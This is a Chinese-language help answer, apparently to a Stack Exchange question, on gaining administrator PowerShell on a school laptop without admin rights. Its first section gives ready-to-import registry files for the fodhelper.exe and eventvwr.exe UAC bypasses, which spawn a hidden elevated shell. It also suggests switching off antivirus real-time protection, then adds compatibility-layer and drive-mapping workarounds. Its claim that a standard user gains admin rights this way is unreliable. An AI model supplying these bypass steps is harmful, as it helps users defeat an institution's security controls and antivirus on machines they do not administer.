非管理员身份在校园笔记本上以管理员权限运行PowerShell的求助

一、UAC绕过：启动管理员权限PowerShell的本地方法 #

以下方法利用Windows系统自带程序的合法UAC绕过点，无需外部工具，仅需修改当前用户注册表（非管理员有权限操作）：

1. 利用fodhelper.exe绕过 #

1. 新建记事本，粘贴以下注册表内容，保存为uac-bypass.reg：

   Windows Registry Editor Version 5.00
   
   [HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command]
   @="powershell.exe -windowstyle hidden -Command \"Start-Process powershell.exe -Verb RunAs\""
   "DelegateExecute"=""
   

2. 双击该文件导入注册表（无需管理员权限）。
3. 通过Win+R输入fodhelper.exe并运行，将弹出管理员权限的PowerShell窗口。
4. 使用完成后，务必清理注册表项避免异常：

   Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force
   

2. 利用eventvwr.exe绕过 #

1. 新建记事本，粘贴以下内容保存为eventvwr-bypass.reg：

   Windows Registry Editor Version 5.00
   
   [HKEY_CURRENT_USER\Software\Classes\mscfile\Shell\Open\command]
   @="powershell.exe -windowstyle hidden -Command \"Start-Process powershell.exe -Verb RunAs\""
   "DelegateExecute"=""
   

2. 导入注册表后，运行eventvwr.exe（Win+R输入或在C:\Windows\System32中找到），即可启动管理员PowerShell。
3. 用完后清理注册表：

   Remove-Item -Path HKCU:\Software\Classes\mscfile -Recurse -Force
   

注意：这类方法可能被校园杀毒软件拦截，若失效可尝试关闭实时防护（若允许）或换用其他绕过点。

二、无需管理员权限的应用运行替代方案 #

如果UAC绕过失败，可尝试以下方法让U盘应用正常运行：

1. 使用subst映射模拟本地驱动器 #

该命令可将U盘路径映射为本地风格驱动器号，部分应用会识别为本地存储：
在PowerShell中执行：

subst Z: "D:\"  # 将U盘盘符（示例为D:）映射为Z:

重启后映射会失效，可将命令保存为.ps1脚本，每次开机运行。

2. 调整应用兼容性层 #

继续利用RunAsInvoker兼容性层，可能绕过应用的驱动器检测或权限限制：
创建.bat文件：

@echo off
set __COMPAT_LAYER=RunAsInvoker
start "" "D:\你的应用程序.exe"

或PowerShell脚本：

$env:__COMPAT_LAYER = "RunAsInvoker"
Start-Process "D:\你的应用程序.exe"

3. 尝试便携版虚拟磁盘工具 #

部分便携版虚拟磁盘工具（如VHD挂载工具）无需管理员权限，可将U盘内容复制到VHD文件后挂载，模拟本地磁盘。但需注意校园电脑是否允许运行第三方便携工具。

三、关键注意事项 #

• UAC绕过方法属于系统已知漏洞，部分校园安全软件会标记为恶意操作，使用前需确认风险。
• 所有注册表修改完成后必须清理，避免影响系统自带程序的正常功能。
• 若以上方法均失效，可联系校园IT管理员说明需求，申请临时权限或特殊配置。

内容的提问来源于stack exchange，提问作者Sqidy P